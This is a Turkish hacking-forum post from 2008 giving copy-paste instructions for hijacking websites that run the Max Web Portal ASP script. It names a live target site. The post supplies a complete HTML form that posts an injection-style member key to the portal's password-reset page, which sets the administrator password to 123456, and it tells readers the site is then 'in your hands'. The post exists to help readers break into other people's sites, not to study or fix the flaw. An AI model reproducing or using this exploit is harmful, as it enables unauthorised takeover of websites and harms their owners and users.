¢увєянα¢ктєαм нα¢кιηg ѕє¢υяιту ρяσƒєѕуöηєℓ нα¢к
 
AnasayfaPortalliSSSAramaKayıt OlGiriş yap

Paylaş | 
 

 Exploit attack

Önceki başlık Sonraki başlık Aşağa gitmek 
YazarMesaj
BLacK
SySTeM RooT
SySTeM RooT
avatar

Mesaj Sayısı : 631
Yaş : 21
Şehir : BuRDaN
İş/HobiLeR : BiLGiSaYaR
Lakap : BLacK
Kayıt tarihi : 01/01/08

MesajKonu: Exploit attack   Ptsi Mart 31 2008, 20:07

Yöntem: Exploit attack

Kısaca geçiyorum..asp mi php mi daha güvenli bilmiyorum ama
yönetimini ele gecirdigim sitelerin sayısında
asp siteler hep önde gidiyor.işte size örnek bi site..

http://www.ncbbw.com/portal

nasıl bir açıgı mı vardı..?site max web portal scriptiydi ve acık kapanmamıstı.

işte yöntemi...

1. not defterinizi açın.
2. aşagıdakini aynen kopyala yapıştır yapın.
3. portalın adresini xxxxx yazan yere yazın
mesela www.nyCWave.com gibi..
4. şimdi not defterini farklı kaydet yaparak html olarak kaydedin.
5. htlm &??yi açın.ve submit tusuna basın işte bu kadar.sitede eger
acık kapanmadıysa admin şifresi 123456 olacak

6. admin 123456 yaptıktan sonra site elinizde.

7. bu açık sayısı sitelerde hızla kapanıyor.


<form action="http://XXXXX/password.asp?mode=reset" method="post">
<br>
pass1: <input name="pass" type="text" value="123456" size="150"><br>
pass2: <input name="pass2" type="text" value="123456" size="150"><br>
Id: <input name="memId" type="text" value="1" size="150"><br>
Member Key: <input name="memKey" type="text" value="foo&?? or M_Name=&??admin" size="150">
<br>
<input name="Submit(sifreyi deistir)" type="submit" value="Submit">
</form>


Not: Türk sitelerine zarar vermeyin ama..

Alıntıdır, denenmiştir...

DİKKAT: html de ayarları yaptıkdan sonra submite basın aksi halde admin şifresi deişmeyecektir...
Sayfa başına dön Aşağa gitmek
Kullanıcı profilini gör http://www.cyberhack.nstars.org
 
Exploit attack
Önceki başlık Sonraki başlık Sayfa başına dön 
1 sayfadaki 1 sayfası

Bu forumun müsaadesi var:Bu forumdaki mesajlara cevap veremezsiniz
CyberHackTeam :: HaCKiNG :: Web DoMaiN HaCK-
Buraya geçin: